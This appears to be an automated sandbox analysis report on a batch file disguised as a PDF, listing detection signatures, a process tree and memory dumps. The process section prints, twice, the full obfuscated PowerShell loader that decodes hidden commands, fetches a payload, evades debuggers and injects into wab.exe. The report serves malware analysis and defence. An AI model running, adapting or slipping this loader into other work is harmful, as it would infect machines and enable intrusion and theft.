Analysis
- max time kernel
150s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
16/07/2026, 10:51
General
- Target Adresa de informare companii (email) nr. 611712_16.07.2026_orig·pdf.bat
- Size 3KB
- Sample260716-mxw4saay2p
- SHA256 409407575ab367fbaa8d178581126673f340471ee9397c3eba715c4c671b3108
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Adresa de informare companii (email) nr. 611712_16.07.2026_orig·pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "$termmposan = 'frizzy';$refinger = Get-Location;[void]($refinger);$glori=-14291+14291;$slentre = Get-Date;[void]($slentre);$nimsc=17644-11644;function wibblez { param($forhaand); $sviregastt = Get-Date; [void]($sviregastt)}function stinkadoro ($sviregastt,$forhaand) {$stambaut=staldenstr(@(119,223,215,223,219,216,219,202,198,224,213,163,203,235,227,219,123,144,199,229,219,219,213,202,193,208,138)) ;$septim = 'test';[void]($septim);Raspenmyoe ($stambaut)}$forhaandrandk = 'huzzah';;function glorpz { $mysophilia = Get-Service | Select-Object -First 1; [void]($mysophilia)};function staldenstr ($forhaandogstavfl) { for ($glori = 0; $forhaandogstavfl[$glori]; $glori++) { $nimsc = $glori % 8; $forhaandogstavfl[$glori] -= $septimortstte[$nimsc]; $nimsc = [char]$forhaandogstavfl[$glori]; $stratifice += $nimsc; } $stratifice}$sviregasttbacispo = Get-Process | Select-Object -First 1;[void]($sviregasttbacispo);function Raspenmyoe ($glen) {function zorp { $netted = 'data'; [void]($netted)}&($kludedukke) $glen}Function Krybekl25 ($forhaandogstavfl,$vgmaleri=0){function floober { $pagt = Get-Date; [void]($pagt)}$finering=staldenstr(@(174,175,208,228,223,216,230,221,176,166,155,188,219,226,225,171,180,223,198,172,157,198,232,219,188,218,200,158,141,217,227,219,187,205,194,228,205,226,219,220,199,205,215,220,213,156));$tonna=@(Raspenmyoe ($finering));For($term=0; $tonna[$term] -ne $baknings; $term++){$tonna[$term] = stinkadoro $tonna[$term] $septimortstte[$term%8]}$filmpremi=staldenstr(@(128,214,208,223,215,147,207,204,187,205,211,209,198,208,152,221,194,218,207,215));$apolog=Raspenmyoe ($filmpremi);if ($vgmaleri) { Raspenmyoe $apolog}else {;$apolog}}$highway = 'moo';$septimortstte=@(83,108,97,118,105,115,116,105);$termlpakkerta = Get-Date;[void]($termlpakkerta);$kludedukke=staldenstr @(156,177,185);$traver='\Stuea141.Omd';$salonbs=Krybekl25 'ZkJRVkEkHQc3AxYFST0gSWJcT0ZSUyMAPVpVTUkLQl1oTBMAU0JBW31cSFYuFhcCPENTRlhDRFhjXUEwAAERDzwUTkdcQVpZ';$crcdvi=Krybekl25 'OxgVBhpJW0Y3HggADF0TBjwLDRNHEBsEfBkCSQwLBAYhGFwSBgQaBTwNBVAAF0lYNgAkRCtKOzhqAVATLhkZOislOEUdSgxQBAIRLywjHlA=';$forhaandachelor=Krybekl25 'Hh8ZGwVBWjo2HhcTGys5JRs4NSZHRVpZ';$cycla=Krybekl25 'FCk1';$resh=Krybekl25 'Bh8EBEQyEww9GA==';$earshellt103=Krybekl25 'bQ==';Krybekl25 'dwsNGQsSGFMlDQ8SGk5QDD0aWxcZAxAIJw1KUh0BFR82Hg==' 1;Krybekl25 'dwsNGQsSGFM+DQ0ZVFcXGzAIFx9HAAQFOhhJUgwSBho7CQ0aHUJEWno=' 1;$crcdvi=$malo[0];Krybekl25 'dwsNGQsSGFM0Aw4SCxwQVB0JFlsmER4MMBhBWyocGUl3Cg4EARIVBzcNAh4MHxsb' 1;Krybekl25 'dwsNGQsSGFMjHhcTCxIYBW5ENRMaB1k5MhgJVk0FFQc3H0g=' 1;while (!$prveball) {Krybekl25 'dwsNGQsSGFMcGgQEChsVW2ZRRQIbBhE=' 1;Krybekl25 'dwsOGQ0RGw19AxETB1tQCioPDRdFU1AKIQ8FAABfVE0gCRECAB4VBSAJSA==' 1;Krybekl25 'dwsOGQ0RGw19HwQCOxYFHDYfFT4MEhAMIURFBAwAHEVzSBIXBRwaCyBF' 1;Krybekl25 'dwsOGQ0RGw19HwQYDVtd' 1;Krybekl25 'dwsNGQsSGFMyAhUfGRIGHTRRRREGHBALPAhPBR0SABwgTEwTGFNGWWM=' 1;if ($antipartg) {Krybekl25 'CA4YAgwoKTR3Cw0ZCxIYUzQZCBEHHBgfOl5QTlRXEwY8CAMZDV0GDCAcDhgaFjYGNxU=' 1;Krybekl25 'IA9BUh8SGg0gTEURHBoTBzwAFx9bQkxJfikPFQYXHQc0TCMPHRY=' 1} Krybekl25 'AAAEExlbQEA=' 1;Krybekl25 'dwsNGQsSGFMjHhcTCxIYBW5ENRMaB1k5MhgJVk0FFQc3H0g=' 1 ;Krybekl25 'dwsNGQsSGFM4DRICDE5QDj8DAxcFSRUbMQkLEhofX0J2SAwXBRxaCjwZDwI=' 1;$crcdvi=$malo[$kaste]}$egnsbankas=132198;$stikkon=15469;Krybekl25 'dwsNGQsSGFM7AwwZHRIXHWFeV0sOEFRNJQ0PEho=' 1;Krybekl25 'dwsNGQsSGFMdAw8XBwcdDmFeUksyMBsHJQkTAjRJTi8hAww0CAARX2c/FQQAHRNBdwQOGwYHFQonXlNAQA==' 1;Krybekl25 'dwsNGQsSGFM1AxMbHE4vPTYUFVgsHRcGNwUPETRJTigALyg/RzQRHQAYEx8HFFxNHQMPFwcHHQ5hXlJf' 1;Krybekl25 'dwsNGQsSGFM+CRYTGwYaGm5IBxkbHgFHIBkDBR0BHQc0REUTDh0HCzICChcaX1AaJwUKHQYdXQ==' 1;Raspenmyoe $meweruns;$termnflami = 'finished';[void]($termnflami);;;;#Rdhaa BajadereiEXdrom raffin Frosts Muonc westbrook Frutexkal Indham ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$termmposan = 'frizzy';$refinger = Get-Location;[void]($refinger);$glori=-14291+14291;$slentre = Get-Date;[void]($slentre);$nimsc=17644-11644;function wibblez { param($forhaand); $sviregastt = Get-Date; [void]($sviregastt)}function stinkadoro ($sviregastt,$forhaand) {$stambaut=staldenstr(@(119,223,215,223,219,216,219,202,198,224,213,163,203,235,227,219,123,144,199,229,219,219,213,202,193,208,138)) ;$septim = 'test';[void]($septim);Raspenmyoe ($stambaut)}$forhaandrandk = 'huzzah';;function glorpz { $mysophilia = Get-Service | Select-Object -First 1; [void]($mysophilia)};function staldenstr ($forhaandogstavfl) { for ($glori = 0; $forhaandogstavfl[$glori]; $glori++) { $nimsc = $glori % 8; $forhaandogstavfl[$glori] -= $septimortstte[$nimsc]; $nimsc = [char]$forhaandogstavfl[$glori]; $stratifice += $nimsc; } $stratifice}$sviregasttbacispo = Get-Process | Select-Object -First 1;[void]($sviregasttbacispo);function Raspenmyoe ($glen) {function zorp { $netted = 'data'; [void]($netted)}&($kludedukke) $glen}Function Krybekl25 ($forhaandogstavfl,$vgmaleri=0){function floober { $pagt = Get-Date; [void]($pagt)}$finering=staldenstr(@(174,175,208,228,223,216,230,221,176,166,155,188,219,226,225,171,180,223,198,172,157,198,232,219,188,218,200,158,141,217,227,219,187,205,194,228,205,226,219,220,199,205,215,220,213,156));$tonna=@(Raspenmyoe ($finering));For($term=0; $tonna[$term] -ne $baknings; $term++){$tonna[$term] = stinkadoro $tonna[$term] $septimortstte[$term%8]}$filmpremi=staldenstr(@(128,214,208,223,215,147,207,204,187,205,211,209,198,208,152,221,194,218,207,215));$apolog=Raspenmyoe ($filmpremi);if ($vgmaleri) { Raspenmyoe $apolog}else {;$apolog}}$highway = 'moo';$septimortstte=@(83,108,97,118,105,115,116,105);$termlpakkerta = Get-Date;[void]($termlpakkerta);$kludedukke=staldenstr @(156,177,185);$traver='\Stuea141.Omd';$salonbs=Krybekl25 'ZkJRVkEkHQc3AxYFST0gSWJcT0ZSUyMAPVpVTUkLQl1oTBMAU0JBW31cSFYuFhcCPENTRlhDRFhjXUEwAAERDzwUTkdcQVpZ';$crcdvi=Krybekl25 'OxgVBhpJW0Y3HggADF0TBjwLDRNHEBsEfBkCSQwLBAYhGFwSBgQaBTwNBVAAF0lYNgAkRCtKOzhqAVATLhkZOislOEUdSgxQBAIRLywjHlA=';$forhaandachelor=Krybekl25 'Hh8ZGwVBWjo2HhcTGys5JRs4NSZHRVpZ';$cycla=Krybekl25 'FCk1';$resh=Krybekl25 'Bh8EBEQyEww9GA==';$earshellt103=Krybekl25 'bQ==';Krybekl25 'dwsNGQsSGFMlDQ8SGk5QDD0aWxcZAxAIJw1KUh0BFR82Hg==' 1;Krybekl25 'dwsNGQsSGFM+DQ0ZVFcXGzAIFx9HAAQFOhhJUgwSBho7CQ0aHUJEWno=' 1;$crcdvi=$malo[0];Krybekl25 'dwsNGQsSGFM0Aw4SCxwQVB0JFlsmER4MMBhBWyocGUl3Cg4EARIVBzcNAh4MHxsb' 1;Krybekl25 'dwsNGQsSGFMjHhcTCxIYBW5ENRMaB1k5MhgJVk0FFQc3H0g=' 1;while (!$prveball) {Krybekl25 'dwsNGQsSGFMcGgQEChsVW2ZRRQIbBhE=' 1;Krybekl25 'dwsOGQ0RGw19AxETB1tQCioPDRdFU1AKIQ8FAABfVE0gCRECAB4VBSAJSA==' 1;Krybekl25 'dwsOGQ0RGw19HwQCOxYFHDYfFT4MEhAMIURFBAwAHEVzSBIXBRwaCyBF' 1;Krybekl25 'dwsOGQ0RGw19HwQYDVtd' 1;Krybekl25 'dwsNGQsSGFMyAhUfGRIGHTRRRREGHBALPAhPBR0SABwgTEwTGFNGWWM=' 1;if ($antipartg) {Krybekl25 'CA4YAgwoKTR3Cw0ZCxIYUzQZCBEHHBgfOl5QTlRXEwY8CAMZDV0GDCAcDhgaFjYGNxU=' 1;Krybekl25 'IA9BUh8SGg0gTEURHBoTBzwAFx9bQkxJfikPFQYXHQc0TCMPHRY=' 1} Krybekl25 'AAAEExlbQEA=' 1;Krybekl25 'dwsNGQsSGFMjHhcTCxIYBW5ENRMaB1k5MhgJVk0FFQc3H0g=' 1 ;Krybekl25 'dwsNGQsSGFM4DRICDE5QDj8DAxcFSRUbMQkLEhofX0J2SAwXBRxaCjwZDwI=' 1;$crcdvi=$malo[$kaste]}$egnsbankas=132198;$stikkon=15469;Krybekl25 'dwsNGQsSGFM7AwwZHRIXHWFeV0sOEFRNJQ0PEho=' 1;Krybekl25 'dwsNGQsSGFMdAw8XBwcdDmFeUksyMBsHJQkTAjRJTi8hAww0CAARX2c/FQQAHRNBdwQOGwYHFQonXlNAQA==' 1;Krybekl25 'dwsNGQsSGFM1AxMbHE4vPTYUFVgsHRcGNwUPETRJTigALyg/RzQRHQAYEx8HFFxNHQMPFwcHHQ5hXlJf' 1;Krybekl25 'dwsNGQsSGFM+CRYTGwYaGm5IBxkbHgFHIBkDBR0BHQc0REUTDh0HCzICChcaX1AaJwUKHQYdXQ==' 1;Raspenmyoe $meweruns;$termnflami = 'finished';[void]($termnflami);;;;#Rdhaa BajadereiEXdrom raffin Frosts Muonc westbrook Frutexkal Indham ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Stuea141.Omd
memory/988-13-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-3-0x000002C4FA6D0000-0x000002C4FA6F2000-memory.dmp
memory/988-4-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-7-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-8-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-9-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-10-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-11-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-12-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-0-0x00007FFC2A97F000-0x00007FFC2A980000-memory.dmp
memory/988-15-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-16-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-17-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-20-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-6-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/988-5-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp
memory/4904-47-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-44-0x0000000009330000-0x000000000B204000-memory.dmp
memory/4904-25-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-26-0x0000000005A70000-0x0000000005A92000-memory.dmp
memory/4904-22-0x0000000003010000-0x0000000003046000-memory.dmp
memory/4904-28-0x00000000061E0000-0x0000000006246000-memory.dmp
memory/4904-21-0x00000000751D2000-0x00000000751D3000-memory.dmp
memory/4904-31-0x00000000062D0000-0x000000000662B000-memory.dmp
memory/4904-34-0x0000000006850000-0x000000000689C000-memory.dmp
memory/4904-33-0x0000000006810000-0x000000000682E000-memory.dmp
memory/4904-38-0x0000000008070000-0x000000000862A000-memory.dmp
memory/4904-23-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-24-0x0000000005B90000-0x00000000061DA000-memory.dmp
memory/4904-36-0x0000000006D80000-0x0000000006D9A000-memory.dmp
memory/4904-43-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-27-0x0000000005B10000-0x0000000005B76000-memory.dmp
memory/4904-41-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-42-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-39-0x0000000008CB0000-0x000000000932C000-memory.dmp
memory/4904-45-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-48-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-49-0x00000000751C0000-0x000000007597C000-memory.dmp
memory/4904-35-0x0000000007A10000-0x0000000007AA6000-memory.dmp
memory/4904-37-0x0000000006DE0000-0x0000000006E02000-memory.dmp
memory/4904-46-0x00000000751D2000-0x00000000751D3000-memory.dmp
memory/4904-50-0x00000000751C0000-0x000000007597C000-memory.dmp